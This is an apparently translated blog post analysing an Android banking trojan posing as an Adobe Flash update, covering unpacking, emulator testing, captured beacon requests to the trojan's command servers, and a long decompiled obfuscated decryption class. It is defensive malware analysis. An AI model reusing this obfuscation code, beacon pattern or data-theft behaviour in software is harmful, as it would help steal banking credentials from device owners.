📜 ⬆️ ⬇️

Research android virus

Hello. Recently, valdikss told me about the android virus, which can do a lot of harm to the user if he is not attentive enough. I wanted to know his insides, because more or less recently engaged in the android applications, but the viruses have never investigated. Before reviewing it, I immediately noticed the name of the file - android_update-1.apk. First of all, I do what each android receiver does - unpack it with dex2jar (well, at the same time you can see the WinRAR list of files).

dex2jar


When I unpacked the dex2jar file, I got a beautiful jar. I was delighted and rushed to watch it in the JD-GUI.

image
')
But, unfortunately, JD-GUI could not fully decompile the resulting file, but at the very end of the file there were interesting lines.

image

There are 2 options: either a virus of “Chinese origin” or a coding error. I think it is too early to draw conclusions.

Winrar


As you know, APK is an archived executable file format for Android applications. The list of files that are included in the APK archive can be easily viewed with WinRAR, which I did.

image

At first glance, nothing special, but I know that in the assets folder, developers store local files - html pages, pictures, well, in general, local resources that can be pulled from the application.

image

There I found the classes.dex file. Classes.dex is a container which, if we unpack, we get (if we are lucky) the source code of the application for Android. By standard, the classes.dex file must begin with the following bytes:

465780a30333500 

What in ASCII is dex.035.
But the assets \ classes.dex file began like this:

 117c4bfe7ef19880 

Clearly encrypted. Already begins to show the logic of the malware. When we download to the smartphone and launch apk, it installs, pulls the classes.dex file from its resources, decrypts it (logically) gets some kind of new apk, which performs its main function.

To fully understand how everything works, you need to look at the effect of the malware in dynamics. On a real device, launching is suicide. I took Genymotion as an emulator, I will not describe its advantages as an emulator, everything is written here . Also, along with Genymotion, I use Android Studio (hereinafter AS) 1.2 (there are no words to describe his well-coordinated work). When we launch Android Studio and Genymotion, they communicate using adb. In Android Studio, it is convenient to watch the log of the application, in this case, the malware.

Installing apk led to a strange error:

image

I thought: “everything, the malware has fallen, it is unlikely to start.” Clicked on OK. I partially knew how it should work, so I went to Settings -> Security -> Device administrators and saw that it just worked as it should, I already registered myself in administrators, you will notice that he did not ask me: “Do you agree install this app? It will use such and such rights. ”, Well, like all applications.

If we try to remove it from the administrators (by clicking on the checkbox, it is marked in red), a window will pop up:



After clicking on the deactivation button, a surprise awaits us - the application cannot be deleted.



Okeyyyyyy. Let's see the network traffic, all of a sudden it sends something. In the emulator, on the WiFi connection, put a proxy and restart the emulator. So I thought - there is network activity

 POST http://abra-k0dabra.com/magic/gate.php?a=1&b=000000000000000&c=Android&d=us&e=15555215554&f=0.1&g=4.1.1&prefix=pussy HTTP/1.1 Content-Length: 0 Host: abra-k0dabra.com Connection: Keep-Alive 

AND

 POST http://avtesterr.com/venussa/gate.php?a=1&b=000000000000000&c=Android&d=us&e=15555215554&f=0.1&g=4.1.1&prefix=pussy HTTP/1.1 Content-Length: 0 Host: avtesterr.com Connection: Keep-Alive 

body in POST request is empty.

Let's open logcat in AS and see if all of a sudden this application writes something in the logs. We are lucky:

 04-09 13:18:04.703 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- BEGIN 'new.apk' (bootstrap=0) --- 04-09 13:18:04.719 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- END 'new.apk' (success) --- 04-09 13:18:04.719 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DEX prep '/data/data/com.adobe.jaguar/app_dex/new.apk': unzip in 0ms, rewrite 13ms 04-09 13:18:04.739 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- BEGIN 'new.apk' (bootstrap=0) --- 04-09 13:18:04.771 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- END 'new.apk' (success) --- 04-09 13:18:04.771 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DEX prep '/data/data/com.adobe.jaguar/app_dex/new.apk': unzip in 1ms, rewrite 34ms 04-09 13:19:34.487 3061-3061/com.adobe.jaguar D/﹕ HostConnection::get() New Host Connection established 0xb8420b50, tid 3061 

This is what happens - the malware takes the file assets / classes.dex from the resources, decrypts it, writes it to /data/data/com.adobe.jaguar/app_dex/new.apk.

So. Now to find out what its main functional is, we need to catch the file new.apk. Install the total commander to android and go to /data/data/com.adobe.jaguar/app_dex/. The folder was empty, after launching the new.apk file is deleted. There was a question: how to get it? At first I wondered if I could write an application for android, which in a cycle follows the /data/data/com.adobe.jaguar/app_dex/ folder, and when the malware creates this file again, my application will copy it, and I will finally find out that does in fact. It's good that I'm lazy in some matters. A little thought, I decided to experiment with the rights of the folder /data/data/com.adobe.jaguar/app_dex/, and here I was also lucky - he created the file new.apk and fell.

Copy new.apk from android, unpack dex2jar and decompile with JD-GUI.



Again, the hieroglyphs ... I decided to open the resulting file with luyten, you never know, all of a sudden the JD-GUI cannot decompile something correctly.

.
Yes, I was right, these are not hieroglyphs, but an encrypted text, I found a function that deals with decryption, but of all apk, only this class was obfuscated, luyten also fell on it. There is one more decompiler - DJ Java Decompiler, it is tight with graphics, so I use it only for viewing individual classes, and not for the whole project. He, as it were, was able to decompress, but, unfortunately, I could not understand exactly how the decoding proceeds.

The class that is responsible for decoding (I will be glad if you look at the code, at first glance AES, but not a fact):

Decryption class
 // Decompiled by DJ v3.12.12.96 Copyright 2011 Atanas Neshkov Date: 09.04.2015 17:11:59 // Home Page: http://members.fortunecity.com/neshkov/dj.html http://www.neshkov.com/dj.html - Check often for new version! // Decompiler options: packimports(3) package com.adobe.cfg; import android.content.Context; import android.content.SharedPreferences; import java.lang.reflect.Method; public class h { private static final int a(int i, int j) { int _tmp = j + i >> 24; return i >>> j | i << -j; } private static final int a(byte abyte0[], int i) { int j; byte byte0; j = abyte0[14] << 16; byte0 = 0; _L6: byte byte1 = 0; if(byte0 != 0) goto _L2; else goto _L1 _L1: int l; byte0 = 3; l = i & 0xff; int i1; byte byte3; i1 = 0xff & abyte0[l] | (0xff & abyte0[0xff & i >> 8]) << 8 | (0xff & abyte0[0xff & i >> 16]) << 16; byte3 = abyte0[0xff & i >> 24]; j = i1 | byte3 << 24; _L4: return j; Exception exception; exception; _L2: if(byte1 != 0) goto _L4; else goto _L3 _L3: int k; byte1 = 2; k = i & 0x7f; byte byte2 = abyte0[k]; return byte2 >> 8; Exception exception1; exception1; if(true) goto _L6; else goto _L5 _L5: } static final String a(String s) { int ai1[]; int ai2[]; int ai3[]; int ai4[]; int ai5[]; byte abyte0[]; char ac[]; int j1; int k1; int l1; int i2; boolean flag; if(a == null) a(); Object aobj[] = (Object[])(Object[])((Method)a[8]).invoke(((Method)a[7]).invoke(null, null), null); StringBuilder stringbuilder = new StringBuilder(); stringbuilder.append(((Method)a[10]).invoke(aobj[((Integer)a[12]).intValue()], null)); int i = stringbuilder.append(((Method)a[11]).invoke(aobj[((Integer)a[12]).intValue()], null)).toString().hashCode(); int ai[] = (int[])(int[])a[6]; int j = i ^ ai[0]; int k = i ^ ai[1]; int l = i ^ ai[2]; int i1 = i ^ ai[3]; ai1 = (int[])(int[])a[5]; ai2 = (int[])(int[])a[1]; ai3 = (int[])(int[])a[2]; ai4 = (int[])(int[])a[3]; ai5 = (int[])(int[])a[4]; abyte0 = (byte[])(byte[])a[0]; ac = (char[])(char[])((Method)a[9]).invoke(s, null); j1 = l; k1 = k; l1 = j; i2 = i1; flag = false; _L16: if(flag) goto _L2; else goto _L1 _L1: int j2 = ac.length; int k2 = 0; _L17: if(k2 >= j2) goto _L2; else goto _L3 _L3: if(k2 % 8 != 0) break MISSING_BLOCK_LABEL_1336; int l2; int i3; int j3; int k3; l2 = l1 ^ ai1[0]; i3 = k1 ^ ai1[1]; j3 = j1 ^ ai1[2]; k3 = i2 ^ ai1[3]; int l3 = 4; _L5: if(l3 >= 36) break; /* Loop/switch isn't completed */ int i4; int j4; int k4; int l4; i4 = ai2[0xff & l2] ^ ai3[0xff & i3 >> 8] ^ ai4[0xff & j3 >> 16] ^ ai5[k3 >>> 24] ^ ai1[l3]; j4 = ai2[i3 & 0xff] ^ ai3[0xff & j3 >> 8] ^ ai4[0xff & k3 >> 16] ^ ai5[l2 >>> 24] ^ ai1[l3 + 1]; k4 = ai2[j3 & 0xff] ^ ai3[0xff & k3 >> 8] ^ ai4[0xff & l2 >> 16] ^ ai5[i3 >>> 24] ^ ai1[l3 + 2]; l4 = ai2[k3 & 0xff] ^ ai3[0xff & l2 >> 8] ^ ai4[0xff & i3 >> 16] ^ ai5[j3 >>> 24] ^ ai1[l3 + 3]; int i5 = l3 + 4; l2 = ai2[i4 & 0xff] ^ ai3[0xff & j4 >> 8] ^ ai4[0xff & k4 >> 16] ^ ai5[l4 >>> 24] ^ ai1[i5]; i3 = ai2[j4 & 0xff] ^ ai3[0xff & k4 >> 8] ^ ai4[0xff & l4 >> 16] ^ ai5[i4 >>> 24] ^ ai1[i5 + 1]; j3 = ai2[k4 & 0xff] ^ ai3[0xff & l4 >> 8] ^ ai4[0xff & i4 >> 16] ^ ai5[j4 >>> 24] ^ ai1[i5 + 2]; k3 = ai2[l4 & 0xff] ^ ai3[0xff & i4 >> 8] ^ ai4[0xff & j4 >> 16] ^ ai5[k4 >>> 24] ^ ai1[i5 + 3]; l3 = i5 + 4; if(true) goto _L5; else goto _L4 _L4: int j5; int k5; int l5; int i6; j5 = ai2[0xff & l2] ^ ai3[0xff & i3 >> 8] ^ ai4[0xff & j3 >> 16] ^ ai5[k3 >>> 24] ^ ai1[l3]; k5 = ai2[i3 & 0xff] ^ ai3[0xff & j3 >> 8] ^ ai4[0xff & k3 >> 16] ^ ai5[l2 >>> 24] ^ ai1[l3 + 1]; l5 = ai2[j3 & 0xff] ^ ai3[0xff & k3 >> 8] ^ ai4[0xff & l2 >> 16] ^ ai5[i3 >>> 24] ^ ai1[l3 + 2]; i6 = ai2[k3 & 0xff] ^ ai3[0xff & l2 >> 8] ^ ai4[0xff & i3 >> 16] ^ ai5[j3 >>> 24] ^ ai1[l3 + 3]; int j6 = l3 + 4; int k6; int l6; l1 = 0xff & abyte0[j5 & 0xff] ^ (0xff & abyte0[0xff & k5 >> 8]) << 8 ^ (0xff & abyte0[0xff & l5 >> 16]) << 16 ^ abyte0[i6 >>> 24] << 24 ^ ai1[j6 + 0]; k1 = 0xff & abyte0[k5 & 0xff] ^ (0xff & abyte0[0xff & l5 >> 8]) << 8 ^ (0xff & abyte0[0xff & i6 >> 16]) << 16 ^ abyte0[j5 >>> 24] << 24 ^ ai1[j6 + 1]; j1 = 0xff & abyte0[l5 & 0xff] ^ (0xff & abyte0[0xff & i6 >> 8]) << 8 ^ (0xff & abyte0[0xff & j5 >> 16]) << 16 ^ abyte0[k5 >>> 24] << 24 ^ ai1[j6 + 2]; k6 = 0xff & abyte0[i6 & 0xff] ^ (0xff & abyte0[0xff & j5 >> 8]) << 8 ^ (0xff & abyte0[0xff & k5 >> 16]) << 16 ^ abyte0[l5 >>> 24] << 24; l6 = ai1[j6 + 3]; i2 = l6 ^ k6; byte byte0 = 0; _L18: if(byte0 != 0) goto _L7; else goto _L6 _L6: byte0 = 3; k2 % 8; JVM INSTR tableswitch 0 7: default 1566 // 0 1400 // 1 1420 // 2 1437 // 3 1457 // 4 1474 // 5 1494 // 6 1511 // 7 1531; goto _L7 _L8 _L9 _L10 _L11 _L12 _L13 _L14 _L15 _L8: ac[k2] = (char)(l1 >> 16 ^ ac[k2]); goto _L7 _L9: ac[k2] = (char)(l1 ^ ac[k2]); goto _L7 _L10: ac[k2] = (char)(k1 >> 16 ^ ac[k2]); goto _L7 _L11: ac[k2] = (char)(k1 ^ ac[k2]); goto _L7 _L12: ac[k2] = (char)(j1 >> 16 ^ ac[k2]); goto _L7 _L13: ac[k2] = (char)(j1 ^ ac[k2]); goto _L7 _L14: ac[k2] = (char)(i2 >> 16 ^ ac[k2]); goto _L7 _L15: ac[k2] = (char)(i2 ^ ac[k2]); goto _L7 _L2: return new String(ac); Throwable throwable; throwable; flag = true; goto _L16 _L7: k2++; goto _L17 Throwable throwable1; throwable1; goto _L18 } public static String a(String s, String s1, Context context) { return context.getSharedPreferences(s, 4).getString(s1, null); } private static final void a() { int ai[]; byte abyte0[]; int ai1[]; int ai2[]; int ai3[]; int ai4[]; int ai5[]; byte byte0; ai = new int[256]; abyte0 = new byte[256]; ai1 = new int[256]; ai2 = new int[256]; ai3 = new int[256]; ai4 = new int[256]; ai5 = new int[30]; int i = 0; int j = 1; for(; i < 256; i++) { ai[i] = j; j ^= j << 1 ^ 283 * (j >>> 7); } abyte0[0] = 99; byte0 = 0; _L18: if(byte0 != 0) goto _L2; else goto _L1 _L1: int j3 = 0; _L4: int i5; if(j3 >= 255) break; /* Loop/switch isn't completed */ i5 = 255 - j3; int j5 = ai[i5]; int k5 = j5 | j5 << 8; abyte0[ai[j3]] = (byte)(0x63 ^ (k5 ^ (k5 >> 4 ^ k5 >> 5 ^ k5 >> 6 ^ k5 >> 7))); j3++; if(true) goto _L4; else goto _L3 _L5: int k3; if(k3 >= 256) break MISSING_BLOCK_LABEL_6536; int l3 = 0xff & abyte0[k3]; int j4; int i4 = l3 << 1 ^ 283 * (l3 >>> 7); j4 = -1 & (i4 ^ ((l3 ^ i4) << 24 ^ l3 << 16 ^ l3 << 8)); ai1[k3] = j4; ai2[k3] = j4 << 8 | j4 >>> -8; ai3[k3] = j4 << 16 | j4 >>> -16; ai4[k3] = j4 << 24 | j4 >>> -24; k3++; goto _L5 _L7: int l4; if(l4 >= 30) goto _L2; else goto _L6 _L6: int k4; ai5[l4] = k4; k4 = k4 << 1 ^ 283 * (k4 >>> 7); l4++; goto _L7 _L2: byte abyte1[]; byte abyte2[]; byte abyte3[]; int k; abyte1 = new byte[16]; abyte2 = (new byte[] { -43, 29, -111, 88, -115, 77, 34, 28, -101, 103, 85, 104, 109, 124, -104, -72, -18, 125, -60, 43, -49, 101, 37, 15, 126, 29, -14, -89, -22, 99, -76, 50, 45, 36, 71, 52, 54, 63, -47, -110, -30, 83, -76, 80, -105, -53, 53, 96, 9, -93, 10, -54, -64, -96, 123, 113, -112, 25, -68, -108, 13, -24, -115, 77, 28, 63, 4, -98, 21, -122, -3, 60, 88, -90, -26, -46, -85, 55, -118, -58, 16, -67, 37, 71, 55, -77, 82, -15, 6, 102, -78, 102, 66, -74, -33, 88, -114, -123, 56, 47, -18, 104, 26, 17, -97, -16, -4, 8, 108, -95, -103, 46, 79, -81, -35, -57, 18, 15, 81, -17, 41, -24, 16, 35, 66, -109, 6, 15, 109, 41, -19, 122, -59, -34, -38, -104, 20, 51, -69, -58, 119, -59, 23, 12, 35, 6, -76, 51, -41, -35, 99, 69, 117, -91, -92, 104, -80, -42, -83, -5, -106, -116, 118, 102, 125, 104, 115, 54, 24, -109, 121, 1, -35, -4, -115, -48, 15, -10, -6, -34, 108, -70, 17, 97, -35, -111, 58, 101, 30, 101, 120, -32, 22, -46, -86, -19, -102, 85, 114, -124, -80, 14, -54, -67, -46, -83, 2, -120, 93, 22, 125, 83, -94, 64, 48, -91, -35, 39, 124, -69, -17, 114, -72, -100, -113, -28, 33, -21, -66, 71, 76, 84, 0, 51, -84, -20, 32, -75, 76, -86, -96, 9, 42, -56, -74, -99, -42, -16, 19, -123, -44, 85, 1, 9, 117, -43 }); abyte3 = (new byte[] { -123, 111, 49, -125, 114, -78, -100, 115, -64, 12, -13, 92, -112, 46, -70, 9, 47, 2, -102, 112, -70, -71, -56, 94, -21, 83, -102, 49, -120, 75, 53, -38, -65, -14, 78, 111, -60, 46, 108, 77, -21, 119, 102, 48, 40, -68, 16, -126, 96, 28, 84, 95, -46, -84, -4, -110, -35, -124, -14, 93, -114, -73, 43, 112, -3, 102, -127, -47, 15, -90, 100, -11, 26, 102, -119, -82, -50, -16, -53, 79, 27, -30, 73, 12, 28, -72, -46, -27, 68, -59, -52, -66, -54, 42, 64, -13, 79, -86, 91, -61, -52, -51, 57, 121, 67, -70, -112, -74, -87, 35, 67, 33, -92, 58, 2, -37, 127, 11, 49, 19, -59, 33, -106, 83, 45, -52, 39, 60, -42, -80, -89, -47, -68, -124, 90, -74, -23, 81, 68, -112, -41, -20, -55, -38, -16, 48, -33, -82, 109, -81, 78, 52, -112, -121, -44, 23, 107, 37, -65, 22, 22, -4, -37, -63, -124, -41, 45, 96, -93, -104, 81, 79, -11, -72, 78, -55, 110, -93, 15, 72, 60, -27, -84, 126, 114, 68, 102, -55, 38, -98, -87, 45, 36, 75, -15, -55, 7, 100, 114, -39, -1, 119, -87, -102, -79, 76, 93, -56, 9, -100, -33, -65, -55, 70, 43, -125, 24, 124, -73, -46, 92, -121, 101, 122, -41, -11, 109, -52, 63, 65, -65, -87, -107, 112, -74, -63, 70, -78, -37, 0, 85, -7, -82, -92, 34, -24, -75, -18, -44, 38, 68, 49, 76, 50, 123, -105 }); k = 0; _L21: if(k != 0) goto _L9; else goto _L8 _L8: k++; abyte1[0] = abyte2[0xff & abyte3[138]]; abyte1[1] = abyte2[0xff & abyte3[115]]; abyte1[2] = abyte2[0xff & abyte3[203]]; abyte1[3] = abyte2[0xff & abyte3[169]]; abyte1[4] = abyte2[0xff & abyte3[225]]; abyte1[5] = abyte2[0xff & abyte3[93]]; abyte1[6] = abyte2[0xff & abyte3[154]]; abyte1[7] = abyte2[0xff & abyte3[214]]; abyte1[8] = abyte2[0xff & abyte3[205]]; abyte1[9] = abyte2[0xff & abyte3[191]]; abyte1[10] = abyte2[0xff & abyte3[43]]; abyte1[11] = abyte2[0xff & abyte3[149]]; abyte1[12] = abyte2[0xff & abyte3[101]]; abyte1[13] = abyte2[0xff & abyte3[245]]; abyte1[14] = abyte2[0xff & abyte3[221]]; abyte1[15] = abyte2[0xff & abyte3[57]]; _L16: int ai6[]; int l; ai6 = new int[44]; l = 0; _L19: if(l != 0) goto _L11; else goto _L10 _L10: int j1; int k1; int l1; j1 = l + 3; k1 = 0; l1 = 0; _L15: int i2 = 0; _L20: if(i2 != 0) goto _L13; else goto _L12 _L12: i2 += 3; if(l1 >= 16) goto _L13; else goto _L14 _L14: int i3 = 3 & k1 + 4 * (k1 >> 2); ai6[i3] = 0xff & abyte1[l1] | (0xff & abyte1[l1 + 1]) << 8 | (0xff & abyte1[l1 + 2]) << 16 | abyte1[l1 + 3] << 24; l1 += 4; k1++; goto _L15 _L9: abyte1[8] = abyte2[0xff & abyte3[205]]; abyte1[9] = abyte2[0xff & abyte3[191]]; abyte1[10] = abyte2[0xff & abyte3[43]]; abyte1[11] = abyte2[0xff & abyte3[149]]; abyte1[12] = abyte2[0xff & abyte3[101]]; abyte1[13] = abyte2[0xff & abyte3[245]]; abyte1[14] = abyte2[0xff & abyte3[221]]; abyte1[15] = abyte2[0xff & abyte3[57]]; goto _L16 Throwable throwable; throwable; abyte1[8] = abyte2[0xff & abyte3[205]]; abyte1[9] = abyte2[0xff & abyte3[191]]; abyte1[10] = abyte2[0xff & abyte3[43]]; abyte1[11] = abyte2[0xff & abyte3[149]]; abyte1[12] = abyte2[0xff & abyte3[101]]; abyte1[13] = abyte2[0xff & abyte3[245]]; abyte1[14] = abyte2[0xff & abyte3[221]]; abyte1[15] = abyte2[0xff & abyte3[57]]; throw throwable; _L13: int j2 = 4; _L17: int k2; if(j2 >= 44) break; /* Loop/switch isn't completed */ k2 = 4 * (j2 - 1 >> 2) + (3 & j2 - 1); int l2 = ai6[k2]; if(j2 % 4 != 0) break MISSING_BLOCK_LABEL_4507; l2 = a(abyte0, a(l2, 8)) ^ ai5[-1 + j2 / 4]; ai6[4 * (j2 >> 2) + (j2 & 3)] = l2 ^ ai6[4 * (j2 - 4 >> 2) + (3 & j2 - 4)]; j2++; if(true) goto _L17; else goto _L11 _L11: int ai7[] = { 0xe0d51d94, 0x879e5437, 0x27b86eae, 0x222ba2fb }; Object aobj[] = new Object[13]; aobj[0] = abyte0; aobj[1] = ai1; aobj[2] = ai2; aobj[3] = ai3; aobj[4] = ai4; aobj[5] = ai6; aobj[6] = ai7; char ac[] = { '?', '~', '\007', '\271', '\uFFBB', '\271', '\203', '\212', '\002', '\225', '\251', '\320', '\337', '\341', '\uFFF9', '\034', 'Q', '\362', '6', '\235', '4', '\323', '\231', 'c', '\346', '\217', 'W', '\b', 'N', '\312', '\031', '\246', '\200', '\230', '\250', '\227', '\241', '\223', 'C', '\uFFF3', 'E', '\270', '\036', '\261', '\r', ',', 'c', '\314', 'j', '\021', 'q', '\uFFF8', '\023', '\024', '\355', '\332', '\uFFFE', '\200', '0', '\003', 'P', 'P', '\uFFEE', '\277', ']', '\261', 'v', '\uFFFF', '\216', '\uFFF0', '^', '\262', '\271', '\uFFD4', 'R', '3', '\031', '\236', '\uFFB8', '\031', '\204', '\036', '\210', '\262', '\213', '%', '\263', 'T', 'k', '\253', '\036', '\313', '\257', '\033', 'M', '\314', '\uFFF5', '\uFFEA', '\254', 'r', 'Z', '\311', '\215', '\204', '\uFFED', 'Q', 'i', 'm', '\323', '\006', '\r', '{', '\264', '#', 'E', '6', 'v', ']', '\262', '\\', '\216', 'I', '~', '\207', '\264', '\002', 'o', 's', '\233', '\230', '`', '\250', '\030', 'W', 'M', '\f', 'y', '\240', '\013', '8', '\346', '5', '|', '~', '\227', 'o', '\031', '\246', '>', 'B', '\327', '\265', '\332', '\027', '\027', '\321', '#', 'J', '\uFFDB', 'n', '\017', '\uFFFF', '\244', '\312', '\336', '\324', '\351', '\237', '\203', '\uFFC1', '\357', 'n', '\013', 'h', '\uFFF6', '2', 'p', 'd', '^', 'P', '\333', '#', 'u', '\217', 'L', '\004', 'h', '\247', '\223', '\316', '\344', 'D', 'i', '\027', '\uFFFC', '6', '\uFFDB', '\241', '\334', '\uFFE5', '&', 'o', '\uFFF8', ')', '3', '\033', 'i', '\uFFB6', '\260', '\212', '\357', '\274', '\020', '\247', '\230', '\006', 'P', '\217', '\277', '*', 'S', '\327' }; for(int i1 = 0; i1 < ac.length; i1++) ac[i1] = (char)(ac[i1] - abyte2[i1 % abyte2.length]); aobj[7] = Class.forName(String.valueOf(ac, 0, 16)).getMethod(String.valueOf(ac, 16, 13), null); aobj[8] = Class.forName(String.valueOf(ac, 0, 16)).getMethod(String.valueOf(ac, 29, 13), null); aobj[9] = Class.forName(String.valueOf(ac, 42, 16)).getMethod(String.valueOf(ac, 58, 11), null); aobj[10] = Class.forName(String.valueOf(ac, 69, 27)).getMethod(String.valueOf(ac, 96, 12), null); aobj[11] = Class.forName(String.valueOf(ac, 69, 27)).getMethod(String.valueOf(ac, 108, 13), null); Class class1 = Class.forName(String.valueOf(ac, 121, 27)); String s = String.valueOf(ac, 148, 3); Class aclass[] = new Class[1]; aclass[0] = Class.forName(String.valueOf(ac, 42, 16)); Method method = class1.getMethod(s, aclass); Object aobj1[] = new Object[1]; aobj1[0] = String.valueOf(ac, 151, 25); String s1 = (String)method.invoke(null, aobj1); byte byte1; Exception exception; Exception exception1; Exception exception2; Exception exception3; if(s1 != null && s1.hashCode() == 0x145eec8c && android.os.Build.VERSION.SDK_INT < 21) byte1 = 4; else byte1 = 5; aobj[12] = Integer.valueOf(byte1); a = aobj; return; exception3; byte0 = 2; goto _L18 exception; l = j1; goto _L19 exception1; goto _L20 exception2; goto _L21 _L3: k3 = 0; goto _L5 k4 = 1; l4 = 0; goto _L7 } public static void a(String s, String s1, String s2, Context context) { android.content.SharedPreferences.Editor editor = context.getSharedPreferences(s, 4).edit(); editor.putString(s1, s2); editor.commit(); } private static transient Object a[]; } 


We already know from network activity that POST requests are transmitted over the network, so this code will send a POST request:

 final HttpURLConnection httpURLConnection = (HttpURLConnection)new URL(s).openConnection(); httpURLConnection.setDoInput(true); httpURLConnection.setDoOutput(true); httpURLConnection.setUseCaches(false); httpURLConnection.setRequestMethod(ha("\ub957\uf4ce\ubf7b\ueadc")); httpURLConnection.setConnectTimeout(60000); 

"\ ub957 \ uf4ce \ ubf7b \ ueadc" - "POST".

In some parts of the code, I saw functions, in the names of which there is a word from 4 letters - “bank”.

Now we have a complete picture, this malware is a banking trojan disguised as an android update for Adobe Flash Player. After installation, it creates com.adobe.jaguar:jaguar_bf and com.adobe.jaguar:jaguar_obs services. They scan the file system (found the code in the body of new.apk) for installed bank client programs, if it finds them, it reads files from the shared_prefs folder and sends it to the attacker.

Morality:
1. Do not install root and bank client on the same device
2. Do not trust applications downloaded from third-party stores.

Thanks for attention.

Source: https://habr.com/ru/post/255417/


All Articles